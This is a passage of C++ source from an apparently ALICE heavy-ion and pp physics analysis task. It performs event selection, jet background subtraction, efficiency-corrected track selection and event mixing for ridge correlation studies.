fOption.Contains("MC") ){ hEfficiency3DHist = (TH3D*)fefficiency3DFile->Get("LHC16l_Hyb8cm"); } if( hEfficiency3DHist ){ for(int i=0;i<fEff_npT_step;i++){ for(int j=0;j<fEff_neta_step;j++){ for(int k=0;k<fEff_nphi_step;k++){ if( i<hEfficiency3DHist->GetNbinsZ() ) Eff3D[i][j][k] = hEfficiency3DHist->GetBinContent(k+1,j+1,i+1); else{ Eff3D[i][j][k] = hEfficiency3DHist->GetBinContent(k+1,j+1, hEfficiency3DHist->GetNbinsZ() ); } if( Eff3D[i][j][k] < 0.01 ){ Eff3D[i][j][k] = 1.0; } } } } } else if( !hEfficiency3DHist ){ for(int i=0;i<fEff_npT_step;i++){ for(int j=0;j<fEff_neta_step;j++){ for(int k=0;k<fEff_nphi_step;k++){ Eff3D[i][j][k] = 1.0; } } } } } IsFirstEvent = kFALSE; } fCent = 200.0; fZ = 0.0; fJetPt = 0.0; RHO = 0.0; fJetPtMC = 0.0; AliInputEventHandler* inputHandler; inputHandler = (AliInputEventHandler*) AliAnalysisManager::GetAnalysisManager()->GetInputEventHandler(); AliAnalysisManager *man = AliAnalysisManager::GetAnalysisManager(); fHistos -> FillTH1("hEventNumbers","All",1); double v0amplitude=0; double JetConeSize = 0.4; if( fOption.Contains("SmallCone") ) JetConeSize = 0.2; double JetEtaAccpetance = 0.8 - JetConeSize; if( !fOption.Contains("HighMult") && !fOption.Contains("SmallCone") ) fJetTask = (AliJJetTask*)(AliAnalysisManager::GetAnalysisManager()->GetTask( "AliJJetTask" )); else if( fOption.Contains("HighMult") && !fOption.Contains("SmallCone") ) fJetTask = (AliJJetTask*)(AliAnalysisManager::GetAnalysisManager()->GetTask( "AliJJetTaskHighMult" )); else if( !fOption.Contains("HighMult") && fOption.Contains("SmallCone") ) fJetTask = (AliJJetTask*)(AliAnalysisManager::GetAnalysisManager()->GetTask( "AliJJetTaskSmallCone" )); else if( fOption.Contains("HighMult") && fOption.Contains("SmallCone") ) fJetTask = (AliJJetTask*)(AliAnalysisManager::GetAnalysisManager()->GetTask( "AliJJetTaskSmallConeHighMult" )); sel = (AliMultSelection*) fEvt -> FindListObject("MultSelection"); if( sel ){ fCent = sel->GetMultiplicityPercentile("V0M"); AliVVZERO* lVV0 = fEvt->GetVZEROData(); for(int i=0;i<64;i++){ v0amplitude += lVV0->GetMultiplicity(i); } if( fOption.Contains("pPb") ){ fCent = sel->GetMultiplicityPercentile("V0A"); v0amplitude = 0.0; for(int i=32;i<64;i++){ v0amplitude += lVV0->GetMultiplicity(i); } } } int Charged_anti_kt_index = 1; int Charged_kt_index = 2; int Charged_anti_kt_mcparticle_index = -1; int Charged_kt_mcparticle_index = -1; if( IsMC ){ Charged_anti_kt_index = 1; Charged_kt_index = 4; Charged_anti_kt_mcparticle_index = 3; Charged_kt_mcparticle_index = 5; } auto antiktjets = fJetTask->GetJetContainer(Charged_anti_kt_index); auto ktjets = fJetTask->GetJetContainer(Charged_kt_index); AliJetContainer* antiktjets_mcp; AliJetContainer* ktjets_mcp; if( IsMC ){ antiktjets_mcp = fJetTask->GetJetContainer(Charged_anti_kt_mcparticle_index); ktjets_mcp = fJetTask->GetJetContainer(Charged_kt_mcparticle_index); } TObjArray* fjets = (TObjArray*)fJetTask->GetAliJJetList(Charged_anti_kt_index); double rho = 0.0; this->RhoSparse(ktjets, antiktjets, 2); rho = RHO; double rhomc = 0.0; if( IsMC ){ this->RhoSparse(ktjets_mcp, antiktjets_mcp, 2); rhomc = RHO; } double area = 0.0; double JetEta = -10.0; double JetPhi = -10.0; /* AliEmcalJet *Ljet; if( antiktjets->GetNJets()>0 ) Ljet = dynamic_cast<AliEmcalJet*>( antiktjets->GetJet(0) ); if( Ljet && fabs( Ljet->Eta() ) < JetEtaAccpetance ){ fJetPt = Ljet->Pt(); JetEta = Ljet->Eta(); JetPhi = Ljet->Phi(); area = Ljet->Area(); } */ AliEmcalJet* Cjet; for(int i=0;i<antiktjets->GetNJets();i++){ Cjet = dynamic_cast<AliEmcalJet*>( antiktjets->GetJet(i) ); if( fabs( Cjet->Eta() ) > JetEtaAccpetance || Cjet->Pt() < 0.1 ){ continue; } if( ( fJetPt < Cjet->Pt() ) ){ fJetPt = Cjet->Pt(); JetEta = Cjet->Eta(); JetPhi = Cjet->Phi(); area = Cjet->Area(); } } AliEmcalJet* LjetMC; AliEmcalJet* CjetMC; fJetPtMC = 0.0; double areaMC = 0.0; if( IsMC ){ /* LjetMC = dynamic_cast<AliEmcalJet*>( antiktjets_mcp->GetJet(0) ); if( LjetMC && fabs( LjetMC->Eta() ) < JetEtaAccpetance ){ fJetPtMC = LjetMC->Pt(); areaMC = LjetMC->Area(); } */ for(int i=0;i<antiktjets_mcp->GetNJets();i++){ CjetMC = dynamic_cast<AliEmcalJet*>( antiktjets_mcp->GetJet(i) ); if( !CjetMC ) continue; if( fabs( CjetMC->Eta() ) > JetEtaAccpetance || CjetMC->Pt() < 0.1 ) continue; if( fJetPtMC < CjetMC->Pt() ){ fJetPtMC = CjetMC->Pt(); areaMC = CjetMC->Area(); } } } const AliVVertex* trackVtx = fEvt->GetPrimaryVertexTPC() ; const AliVVertex* spdVtx = fEvt->GetPrimaryVertexSPD() ; AbsZmax = 8.0; if( fOption.Contains("TightVtx") ) AbsZmax = 6.0; Bool_t IsTriggered = kFALSE; Bool_t IsNotPileup = kFALSE; Bool_t IsValidVtx = kFALSE; Bool_t IsGoodVtx = kFALSE; Bool_t IsSelectedFromAliMultSelection = kFALSE; Bool_t IsMultiplicityInsideBin = kFALSE; Bool_t IsSelectedFromAliMultSelectionForSysZ = kFALSE; //IsTriggered************************************* if(fRunTable->IsAA() || fRunTable->IsPA()){ IsTriggered = (inputHandler -> IsEventSelected()) & (AliVEvent::kINT7); } else if(fRunTable->IsPP() ){ IsTriggered = (inputHandler -> IsEventSelected()) & AliVEvent::kINT7; if( fOption.Contains("HighMult") ){ IsTriggered = (inputHandler -> IsEventSelected()) & AliVEvent::kHighMultV0; } } if( IsMC ){ IsTriggered = (inputHandler -> IsEventSelected()) & AliVEvent::kINT7; // if( fOption.Contains("HighMult") ){ // IsTriggered = inputHandler -> IsEventSelected() & AliVEvent::kHighMultV0; // } } //*********************************************** //IsNotPileup*********************************** if( IsMC ) IsNotPileup = kTRUE; else if( !fRunTable->IsPP() ) IsNotPileup = kTRUE; else if( !IsMC && fRunTable->IsPP() && !event->IsPileupFromSPDInMultBins() ) IsNotPileup = kTRUE; if( fOption.Contains("PileupTest") ){ IsNotPileup = kTRUE; } if( fOption.Contains("PileupMV") ){ IsNotPileup = sel->GetThisEventIsNotPileupMV(); } //********************************************* //IsGoodVtx************************************ zbin = -1; if( spdVtx ){ if( spdVtx->GetNContributors() > 0.5 ) IsValidVtx = kTRUE; fZ = spdVtx->GetZ(); zbin = binZ.FindBin(fZ) -1; if( fabs(fZ) < AbsZmax && !(zbin < 0 )) IsGoodVtx = kTRUE; } //******************************************** //IsSelectedFromAliMultSelection************** if( !IsMC && fRunTable->IsPP() && !fOption.Contains("HighMult") ){ if( sel->IsEventSelected() ) IsSelectedFromAliMultSelection = kTRUE; if( sel->GetThisEventIsNotPileupInMultBins() && sel->GetThisEventINELgtZERO() && sel->GetThisEventPassesTrackletVsCluster() && sel->GetThisEventHasNoInconsistentVertices() && fabs(fZ) < 8.0 ){ IsSelectedFromAliMultSelectionForSysZ = kTRUE; } } else if( fOption.Contains("HighMult") ){ if( sel->GetThisEventIsNotPileup() && sel->GetThisEventIsNotPileupInMultBins() && sel->GetThisEventHasNoInconsistentVertices() && sel->GetThisEventPassesTrackletVsCluster() ){ IsSelectedFromAliMultSelection = kTRUE; if( fabs(fZ) < 8.0 ){ IsSelectedFromAliMultSelectionForSysZ = kTRUE; } } if( fOption.Contains("PileupTest") || fOption.Contains("PileupMV") ){ if( sel->GetThisEventHasNoInconsistentVertices() && sel->GetThisEventPassesTrackletVsCluster() ){ IsSelectedFromAliMultSelection = kTRUE; } } } else if( IsMC ) IsSelectedFromAliMultSelection = kTRUE; //******************************************* //IsMultiplicityInsideBin Flag Configuration******** centbin = binCent.FindBin(fCent) -1; if( centbin >= 0 && centbin < binCent.GetNbins() ) IsMultiplicityInsideBin = kTRUE; if( fOption.Contains("HighMult") && fOption.Contains("CUTwithV0M") ){ if( v0amplitude < 5.0 * V0M_mean || v0amplitude > 9.0 * V0M_mean ){ IsMultiplicityInsideBin = kFALSE; } } //****************************************** if( IsTriggered ) fHistos->FillTH1("hEventNumbers","IsTriggered",1); if( IsTriggered && IsNotPileup ) fHistos->FillTH1("hEventNumbers","IsNotPileup",1); if( IsTriggered && IsNotPileup && IsValidVtx ) fHistos->FillTH1("hEventNumbers","IsValidVtx",1); if( IsTriggered && IsNotPileup && IsValidVtx && IsGoodVtx ) fHistos->FillTH1("hEventNumbers","IsGoodVtx",1); if( IsTriggered && IsNotPileup && IsValidVtx && IsGoodVtx && IsSelectedFromAliMultSelection ) fHistos->FillTH1("hEventNumbers","IsSelectedFromAliMultSelection",1); if( IsTriggered && IsNotPileup && IsValidVtx && IsGoodVtx && IsSelectedFromAliMultSelection && IsMultiplicityInsideBin ){ fHistos->FillTH1("hEventNumbers","IsMultiplicityInsideBin",1); if( fJetPt>0.1 ){ fHistos->FillTH1("hLJetPt",fJetPt,1.0); fHistos->FillTH1("hLJetEta",JetEta,1.0); fHistos->FillTH1("hLJetPhi",JetPhi,1.0); } for(int i=0;i<antiktjets->GetNJets();i++){ Cjet = dynamic_cast<AliEmcalJet*>( antiktjets->GetJet(i) ); if( fabs( Cjet->Eta() ) > JetEtaAccpetance ){ continue; } /* if( ( fJetPt < Cjet->Pt() ) ){ fJetPt = Cjet->Pt(); JetEta = Cjet->Eta(); JetPhi = Cjet->Phi(); } */ fHistos->FillTH1("hJetPt",Cjet->Pt(),1.0); fHistos->FillTH1("hJetEta",Cjet->Eta(),1.0); fHistos->FillTH1("hJetPhi",Cjet->Phi(),1.0); FillTHnSparse("hRho",{fCent,Cjet->Pt(),rho},1.0); fHistos->FillTH1("hJetPtCor",Cjet->Pt() - rho*Cjet->Area(),1.0); } if( IsMC ){ for(int i=0;i<antiktjets_mcp->GetNJets();i++){ CjetMC = dynamic_cast<AliEmcalJet*>( antiktjets_mcp->GetJet(i) ); if( !CjetMC ) continue; if( fabs( CjetMC->Eta() ) > JetEtaAccpetance || CjetMC->Pt() < 0.1 ) continue; fHistos->FillTH1("hJetPtMC",CjetMC->Pt(),1.0); FillTHnSparse("hRhoMC",{fCent,CjetMC->Pt(),rhomc},1.0); fHistos->FillTH1("hJetPtCorMC",CjetMC->Pt() - rhomc*CjetMC->Area(),1.0); } } fJetPt -= rho*area; fJetPtMC -= rhomc*areaMC; if( !fOption.Contains("HighMult") ){ fHistos->FillTH1("hMB",fCent,1); fHistos->FillTH2("hMB_V0M",fCent,v0amplitude,1); } else if( fOption.Contains("HighMult") ){ fHistos->FillTH1("hHMT",fCent,1); fHistos->FillTH2("hHMT_V0M",fCent,v0amplitude,1); } fHistos->FillTH1("hZvtx",fZ,1); } if( fabs( JetEta ) > JetEtaAccpetance ){ fJetPt = 0.0; } if( IsTriggered && IsNotPileup && IsValidVtx && IsGoodVtx && IsSelectedFromAliMultSelection && IsMultiplicityInsideBin && fOption.Contains("EvtSelStudy") && fOption.Contains("jtptstudy") ){ fsetmixing = kFALSE; this -> GoodTracksSelection( 2 ); } // if( !fOption.Contains("EvtSelStudy") && IsTriggered && IsNotPileup && IsValidVtx && IsGoodVtx && IsSelectedFromAliMultSelection && IsMultiplicityInsideBin ){ if( !fOption.Contains("EvtSelStudy") && IsTriggered && IsNotPileup && IsValidVtx && fabs(fZ) < 10.0 && IsSelectedFromAliMultSelection && IsMultiplicityInsideBin ){ if( IsMC && fEvt->IsA()==AliAODEvent::Class() ){ fMCArray = (TClonesArray*) fEvt->FindListObject("mcparticles"); if (fabs(fZ_gen)<10.0){ Int_t nTracksMC = fMCArray->GetEntries(); for(Int_t iTracks = 0; iTracks < nTracksMC; iTracks++){ AliAODMCParticle* trackMC = dynamic_cast<AliAODMCParticle*>(fMCArray->At(iTracks)); if( !trackMC ) continue; Int_t pdgCode = trackMC->PdgCode(); if( !(trackMC->IsPhysicalPrimary()) ) continue; if( trackMC->Charge() == 0 ) continue; FillTHnSparse("hTrackMCallcut",{trackMC->Pt(),trackMC->Phi(),trackMC->Eta(),fZ_gen,1.0},1.0); if( fabs(fZ) < 8 ) FillTHnSparse("hTrackMCallcut",{trackMC->Pt(),trackMC->Phi(),trackMC->Eta(),fZ_gen,2.0},1.0); if( fabs(fZ) < 6 ) FillTHnSparse("hTrackMCallcut",{trackMC->Pt(),trackMC->Phi(),trackMC->Eta(),fZ_gen,3.0},1.0); } } } } if( !fOption.Contains("EvtSelStudy") && IsTriggered && IsNotPileup && IsValidVtx && IsSelectedFromAliMultSelection && IsMultiplicityInsideBin ){ if( !fOption.Contains("EffCorrection") && IsGoodVtx ){ if( fOption.Contains("Glb") && !fOption.Contains("SDD") ){ if( this -> GoodTracksSelection( 4 ) ){ this -> FillTracks(); } } else if( fOption.Contains("GlbSDD") ){ if( this -> GoodTracksSelection( 5 ) ){ this -> FillTracks(); } } else{ if( this -> GoodTracksSelection( 2 ) ){ this -> FillTracks(); } } // else{ this -> GoodTracksSelection( 2 ); } if( fOption.Contains("MC") ){ if( this -> GoodTracksSelectionMC() ){ this -> FillTracksMC(); } } } else if( fOption.Contains("EffCorrection") ){ fsetmixing = kFALSE; if( fabs(fZ) < 10 ){ this -> GoodTracksSelection( 1 ); } if( fabs(fZ) < 8 ){ this -> GoodTracksSelection( 2 ); } if( fabs(fZ) < 6 ){ this -> GoodTracksSelection( 3 ); } if( IsGoodVtx ){ this -> GoodTracksSelection( 4 ); } if( IsGoodVtx ){ this -> GoodTracksSelection( 5 ); } } } //Trig Efficiency ************** kIINT7 to INEL>0 bool IsINEL=false; if( IsMC ){ if( fEvt->IsA()==AliAODEvent::Class() ){ fMCArray = (TClonesArray*) fEvt->FindListObject("mcparticles"); AliAODMCHeader *cHeaderAOD = dynamic_cast<AliAODMCHeader*> (fEvt->FindListObject(AliAODMCHeader::StdBranchName())); const Int_t nTracksMC = fMCArray->GetEntriesFast(); for(Int_t iTracks = 0; iTracks < nTracksMC; iTracks++){ AliAODMCParticle* trackMC = dynamic_cast<AliAODMCParticle*>(fMCArray->At(iTracks)); if( !trackMC ) continue; if( !(trackMC->IsPhysicalPrimary()) ) continue; if( trackMC->Charge() == 0 ) continue; if( fabs( trackMC->Eta() ) > 1.0 ) continue; IsINEL = true; } } } if( IsINEL ){ if( (inputHandler -> IsEventSelected()) & (AliVEvent::kINT7) ){ FillTHnSparse("TrigEffMult",{fCent,1.0},1.0 ); } else{ FillTHnSparse("TrigEffMult",{fCent,0.0},1.0 ); } } //******************************************* //****** // if( !fOption.Contains("EvtSelStudy") && IsNotPileup && IsValidVtx && fabs(fZ) < 10 && IsSelectedFromAliMultSelection && IsMultiplicityInsideBin && IsINEL ){ if( !fOption.Contains("EvtSelStudy") && IsNotPileup && IsValidVtx && fabs(fZ) < 10 && IsSelectedFromAliMultSelection && IsMultiplicityInsideBin && IsINEL && IsTriggered ){ if( IsMC && fEvt->IsA()==AliAODEvent::Class() ){ fMCArray = (TClonesArray*) fEvt->FindListObject("mcparticles"); if (fabs(fZ_gen)<10.0){ Int_t nTracksMC = fMCArray->GetEntries(); FillTHnSparse("nevtForMult",{fCent,v0amplitude},1.0); for(Int_t iTracks = 0; iTracks < nTracksMC; iTracks++){ AliAODMCParticle* trackMC = dynamic_cast<AliAODMCParticle*>(fMCArray->At(iTracks)); if( !trackMC ) continue; Int_t pdgCode = trackMC->PdgCode(); if( !(trackMC->IsPhysicalPrimary()) ) continue; if( trackMC->Charge() == 0 ) continue; FillTHnSparse("MultiplicityStudy",{trackMC->Eta(),trackMC->Pt(),fCent,v0amplitude},1.0); } } } } //**** PostData(1, fOutput); } Bool_t AliAnalysisTaskRidge::GoodTracksSelection(int trk){ fFilterBit = 0x300; if( trk == 4 ) fFilterBit = 0x20; else if( trk == 5 ) fFilterBit = 0x60; const UInt_t ntracks = fEvt ->GetNumberOfTracks(); goodtrackindices.clear(); AliVTrack * track; tracklist *etl; eventpool *ep; //Event mixing pool if (fsetmixing && centbin>=0 && zbin>=0 && centbin < binCent.GetNbins() && zbin < binZ.GetNbins() ){ ep = &fEMpool[centbin][zbin]; ep -> push_back( tracklist() ); // // ep -> push_back( etl ); etl = &(ep->back()); } fNTracks = 0; double LHPt = 0; for (UInt_t it = 0; it<ntracks; it++){ if (fEvt->IsA()==AliESDEvent::Class()){ track = (AliESDtrack*) fEvt ->GetTrack(it); if (!track) continue; if (!fTrackCuts->AcceptTrack((AliESDtrack*) track)) continue; fHistos->FillTH2("hPhiEta",track->Phi(),track->Eta()); } else { track = (AliAODTrack*) fEvt ->GetTrack(it); if (!track) continue; if( trk < 3.5 ){ if( ! ((AliAODTrack*) track)->TestFilterBit(fFilterBit)) continue; } //for hybrid else if( trk > 3.5 ){ if( ! ((AliAODTrack*) track)->TestFilterMask(fFilterBit)) continue; } //for global if( IsMC && fabs( dynamic_cast<AliAODMCHeader*>(fEvt->FindListObject(AliAODMCHeader::StdBranchName()))->GetVtxZ() ) < 10 ){ if( track->GetLabel()>-1 && dynamic_cast<AliAODMCParticle*>(fMCArray->At( track->GetLabel() ))->IsPhysicalPrimary() ){ FillTHnSparse("hTrackDataTrue",{track->Pt(),track->Phi(),track->Eta(),fCent,fZ},1.0); } } if( track->Pt()<fptcut ) continue; if( !fOption.Contains("ITS") && fabs(track->Eta())>fetacut ) continue; else if( fOption.Contains("ITS") && fabs(track->Eta())>1.3 ) continue; FillTHnSparse("hTrackData",{track->Pt(),track->Phi(),track->Eta(),fZ,(double)trk,fCent},1.0); if( LHPt < track->Pt() ){ LHPt = track->Pt(); } fHistos->FillTH2("hPhiEta",track->Phi(),track->Eta(),1.0); if( !fOption.Contains("ITS") ){ if( fOption.Contains("AddEff") ){ if( track->Pt() > fEff_pT_max ){ fHistos->FillTH2("hPhiEtaCor",track->Phi(),track->Eta(),1.0); FillTHnSparse("hTrackDataCor",{track->Pt(),track->Phi(),track->Eta(),fCent,fZ},1.0); } else{ fHistos->FillTH2("hPhiEtaCor",track->Phi(),track->Eta(),1.0/ Eff[ binPt.FindBin(track->Pt())-1 ][ (int)((track->Eta()-fEff_eta_min)/fEff_eta_l) ] ); FillTHnSparse("hTrackDataCor",{track->Pt(),track->Phi(),track->Eta(),fCent,fZ},1.0/ Eff[ binPt.FindBin(track->Pt())-1 ][ (int)((track->Eta()-fEff_eta_min)/fEff_eta_l) ] ); } } else if( fOption.Contains("Add3DEff") ){ if( track->Pt() > fEff_pT_max ){ fHistos->FillTH2("hPhiEtaCor",track->Phi(),track->Eta(),1.0); FillTHnSparse("hTrackDataCor",{track->Pt(),track->Phi(),track->Eta(),fCent,fZ},1.0); } else{ fHistos->FillTH2("hPhiEtaCor",track->Phi(),track->Eta(),1.0/ Eff3D[ binPt.FindBin(track->Pt())-1 ][ (int)((track->Eta()-fEff_eta_min)/fEff_eta_l) ][ (int)(track->Phi()/(2.0*pi/fEff_nphi_step)) ] ); FillTHnSparse("hTrackDataCor",{track->Pt(),track->Phi(),track->Eta(),fCent,fZ},1.0/ Eff3D[ binPt.FindBin(track->Pt())-1 ][ (int)((track->Eta()-fEff_eta_min)/fEff_eta_l) ][ (int)(track->Phi()/(2.0*pi/fEff_nphi_step)) ] ); } } else if( fOption.Contains("AddpTEff") ){ if( track->Pt() > fEff_pT_max ){ fHistos->FillTH2("hPhiEtaCor",track->Phi(),track->Eta(),1.0); FillTHnSparse("hTrackDataCor",{track->Pt(),track->Phi(),track->Eta(),fCent,fZ},1.0); } else{ fHistos->FillTH2("hPhiEtaCor",track->Phi(),track->Eta(),1.0/ EffpT[ binPt.FindBin(track->Pt())-2 ] ); FillTHnSparse("hTrackDataCor",{track->Pt(),track->Phi(),track->Eta(),fCent,fZ},1.0/ EffpT[ binPt.FindBin(track->Pt())-2 ] ); } } } else if( fOption.Contains("ITS") ){ if( fOption.Contains("AddEff") ){ if( track->Pt() > fEff_pT_max ){ FillTHnSparse("hTrackDataCor",{track->Pt(),track->Phi(),track->Eta(),fCent,fZ},1.0); } else{ FillTHnSparse("hTrackDataCor",{track->Pt(),track->Phi(),track->Eta(),fCent,fZ},1.0/ Eff[ binPt.FindBin(track->Pt())-1 ][ (int)((track->Eta()-ITS_fEff_eta_min)/ITS_fEff_eta_l) ] ); } } } } fNTracks++; goodtrackindices.push_back(it); //Event mixing pool if (fsetmixing){ etl->push_back( (AliVTrack*) track -> Clone() ); } }//track fHistos->FillTH1("hLHPt",LHPt,1.0); fHistos->FillTH2("hLHPt_JetpT",LHPt,fJetPt,1.0); if (fsetmixing){ if (!goodtrackindices.size()) ep->pop_back(); if ( ep->size() > bookingsize ){ for (auto it: ep->front()) delete it; ep->pop_front(); } } return goodtrackindices.size(); } Bool_t AliAnalysisTaskRidge::GoodTracksSelectionMC(){ goodtrackindicesMCALICE.clear(); goodtrackindicesMCCMS.clear(); trackMClist *etlMCALICE; eventpoolMC *epMCALICE; trackMClist *etlMCCMS; eventpoolMC *epMCCMS; if (fsetmixing && centbin>=0 && zbin>=0 && IsMC){ epMCALICE = &fEMpoolMCALICE[centbin][zbin]; epMCALICE->push_back( trackMClist() ); etlMCALICE = &(epMCALICE->back()); epMCCMS = &fEMpoolMCCMS[centbin][zbin]; epMCCMS->push_back( trackMClist() ); etlMCCMS = &(epMCCMS->back()); } if( IsMC && fEvt->IsA()==AliAODEvent::Class() ){ if( fabs(fZ_gen)<AbsZmax ){ const Int_t nTracksMC = fMCArray->GetEntriesFast(); for(Int_t iTracks = 0; iTracks < nTracksMC; iTracks++){ AliAODMCParticle* trackMC = dynamic_cast<AliAODMCParticle*>(fMCArray->At(iTracks)); if( !trackMC ) continue; if( !(trackMC->IsPhysicalPrimary()) ) continue; if( trackMC->Charge() == 0 ) continue; if( !fOption.Contains("ITS") ){ if( ALICEAccp( trackMC->Pt(),trackMC->Eta() ) ){ goodtrackindicesMCALICE.push_back(iTracks); if( fsetmixing ){ Particlelet par; par.eta = trackMC->Eta(); par.phi = trackMC->Phi(); par.pt = trackMC->Pt(); par.IsTrackRecon = (bool)fEvt->GetTrack( trackMC->GetLabel() ); etlMCALICE->push_back( par ); } if( !fOption.Contains("CMSOnly") ) FillTHnSparse("hTrackMCALICE",{trackMC->Pt(),trackMC->Phi(),trackMC->Eta(),fCent,fZ_gen},1.0); } } if( fOption.Contains("ITS") ){ if( trackMC->Pt() > fptcut && fabs( trackMC->Eta() ) < 1.3 ){ goodtrackindicesMCALICE.push_back(iTracks); if( fsetmixing ){ Particlelet par; par.eta = trackMC->Eta(); par.phi = trackMC->Phi(); par.pt = trackMC->Pt(); par.IsTrackRecon = (bool)fEvt->GetTrack( trackMC->GetLabel() ); etlMCALICE->push_back( par ); } if( !fOption.Contains("CMSOnly") ) FillTHnSparse("hTrackMCALICE",{trackMC->Pt(),trackMC->Phi(),trackMC->Eta(),fCent,fZ_gen},1.0); } } if( CMSAccp( trackMC->Pt(),trackMC->Eta() ) ){ goodtrackindicesMCCMS.push_back(iTracks); if( fsetmixing ){ Particlelet par; par.eta = trackMC->Eta(); par.phi = trackMC->Phi(); par.pt = trackMC->Pt(); par.IsTrackRecon = (bool)fEvt->GetTrack( trackMC->GetLabel() ); etlMCCMS->push_back( par ); } if( fOption.Contains("AddCMS") ) FillTHnSparse("hTrackMCCMS",{trackMC->Pt(),trackMC->Phi(),trackMC->Eta(),fCent,fZ_gen},1.0); } } if(fsetmixing){ if( !goodtrackindicesMCALICE.size() ) epMCALICE->pop_back(); if( epMCALICE->size() > bookingsizeMC ){ epMCALICE->pop_front(); } if( !goodtrackindicesMCCMS.size() ) epMCCMS->pop_back(); if( epMCCMS->size() > bookingsizeMC ){ epMCCMS->pop_front(); } } } } if( IsMC ) return goodtrackindicesMCCMS.size(); else{ return 0; } } Bool_t AliAnalysisTaskRidge::GoodTrackletSelection(){ trackletlist *etl; eventpooltracklet *ep; if (fsetmixing && centbin>=0 && zbin>=0){ ep = &fEMpooltracklet[centbin][zbin]; ep -> push_back( trackletlist() ); // etl = &(ep->back()); } goodtrackindices.clear(); fMultiplicity = fEvt -> GetMultiplicity(); Int_t ntraklets = fMultiplicity->GetNumberOfTracklets(); Double_t eta = 0, phi=0; for (UInt_t it = 0; it<ntraklets; it++){ eta = fMultiplicity->GetEta(it); phi = fMultiplicity->GetPhi(it); if( fabs(eta)>1.99 ) continue; if( TVector2::Phi_0_2pi(phi) >2*pi-0.01 ) continue; if( TVector2::Phi_0_2pi(phi) < 0.01 ) continue; goodtrackindices.push_back(it); fHistos->FillTH2("hPhiEta",phi,eta); if( fOption.Contains("SPDEff") ) fHistos->FillTH2("hPhiEtaCor",phi,eta, 1.0/Eff[ (int)( TVector2::Phi_0_2pi(phi)*180.0/(2*pi) ) ][ (int)( ( eta+2.0 )*40.0/4.0 ) ] ); if (fsetmixing) { Tracklet tracklet; tracklet.eta = eta; tracklet.phi = phi; etl->push_back( tracklet ); } } if (fsetmixing){ if (!goodtrackindices.size()) ep->pop_back(); if ( ep->size() > bookingsize ){ ep->pop_front(); } } return goodtrackindices.size(); } void AliAnalysisTaskRidge::FillTracks(){ NTracksPerPtBin.clear(); NTracksPerPtBin.resize( binTPt.GetNbins() ); for(int i=0;i<binTPt.GetNbins();i++){ NTracksPerPtBin[i] =0 ; } AliVTrack *track1, *track2; TLorentzVector temp1,temp2; TLorentzVector vecsum; const UInt_t ntracks = goodtrackindices.size(); tracklist trackpool; /* int epsize=1; if (fsetmixing && centbin>=0 && zbin>=0){ eventpool &ep = fEMpool[centbin][zbin]; epsize = ep.size(); if (ep.size()<bookingsize ) return; int n = 0; for (auto pool: ep){ if (n == (ep.size() -1 )) continue; for (auto track: pool) trackpool.push_back((AliVTrack*)track); n++; } } */ /* std::random_device rd; std::default_random_engine engine{rd()}; std::shuffle ( goodtrackindices.begin(), goodtrackindices.end(), engine ); */ double MaxPhi=0; double MaxPt=0; double MaxEta=0; double effi; if( ntracks > 0 ) for (UInt_t it = 0; it < ntracks; it++) { track1 = (AliVTrack*) fEvt->GetTrack(goodtrackindices[it]); if( !track1 ) continue; effi = 1.0; if( !fOption.Contains("ITS") ){ if( fOption.Contains("AddEff") ){ if( binTPt.FindBin( track1->Pt() )-1 >= 0 ){ if( track1->Pt() < fEff_pT_max ){ effi = 1.0/Eff[ binPt.FindBin(track1->Pt())-1 ][ (int)((track1->Eta()-fEff_eta_min)/fEff_eta_l) ]; } else{ effi = 1.0; } } } else if( fOption.Contains("Add3DEff") ){ if( binTPt.FindBin( track1->Pt() )-1 >= 0 ){ if( track1->Pt() < fEff_pT_max ){ effi = 1.0/Eff3D[ binPt.FindBin(track1->Pt())-1 ][ (int)((track1->Eta()-fEff_eta_min)/fEff_eta_l) ][ (int)(track1->Phi()/(2.0*pi/fEff_nphi_step)) ]; } else{ effi = 1.0; } } } else{ effi = 1.0; } } else if( fOption.Contains("ITS") ){ if( fOption.Contains("AddEff") ){ if( binTPt.FindBin( track1->Pt() )-1 >= 0 ){ if( track1->Pt() < fEff_pT_max ){ effi = 1.0/Eff[ binPt.FindBin(track1->Pt())-1 ][ (int)((track1->Eta()-ITS_fEff_eta_min)/ITS_fEff_eta_l) ]; } else{ effi = 1.0; } } } } if( fOption.Contains("Asso") ){ effi = 1.0; } // effi = 1.0; if( binTPt.FindBin( track1->Pt() )-1 >= 0 ){ NTracksPerPtBin[ binTPt.FindBin( track1->Pt() )-1 ] += effi; } // if( binTPt.FindBin( track1->Pt() )-1 >= 0 ){ NTracksPerPtBin[ binTPt.FindBin( track1->Pt() )-1 ]++; } if( MaxPt < track1->Pt() ){ if(!fOption.Contains("SmallEtaLP") ){ MaxPt = track1->Pt(); MaxPhi = track1->Phi(); MaxEta = track1->Eta(); } if( fOption.Contains("SmallEtaLP") && fabs(track1->Eta())<0.4 ){ MaxPt = track1->Pt(); MaxPhi = track1->Phi(); MaxEta = track1->Eta(); } } } fLT_pT = MaxPt; if( ntracks > 1 ){ FillTHnSparse("hTrackDataLTRaw",{fCent,MaxPt,MaxPhi,MaxEta,fZ},1.0); } for(int i=0;i<binTPt.GetNbins();i++){ // if( NTracksPerPtBin[i] > 0.5 ) FillTHnSparse("hNtrig",{fCent,binTPt.GetBinCenter(i+1),1.0,MaxPt},NTracksPerPtBin[i]); FillTHnSparse("hNtrigJet",{fCent,binTPt.GetBinCenter(i+1),1.0,fJetPt},NTracksPerPtBin[i]); } double PhiThres = MaxPhi; PhiThres = TVector2::Phi_0_2pi(PhiThres); // count if( PhiThres > pi*0.5 && PhiThres < pi*1.0 ){ PhiThres = pi - PhiThres; } else if( PhiThres > pi*1.0 && PhiThres < pi*1.5 ){ PhiThres = PhiThres - pi; } else if( PhiThres > 1.5*pi ){ PhiThres = 2*pi - PhiThres; } double eff1; double eff2; // double addPhi = 15.0 * pi / 180.0; double addPhi = 0; if( ntracks > 0 ) for (UInt_t it = 0; it < ntracks; it++) { track1 = (AliVTrack*) fEvt->GetTrack(goodtrackindices[it]); if (!track1) continue; if( fOption.Contains("MyTrack") ){ if( ( track1->Phi() > PhiThres && track1->Phi() < pi - PhiThres ) || ( track1->Phi() > pi + PhiThres && track1->Phi() < 2.0*pi - PhiThres ) ){ continue; } } if( fOption.Contains("UETrack") ){ if( PhiThres > pi/4.0-addPhi ){ if( ( track1->Phi() > PhiThres-pi/4.0+addPhi && track1->Phi() < PhiThres+pi/4.0-addPhi ) || ( track1->Phi() > pi+PhiThres-pi/4.0+addPhi && track1->Phi() < 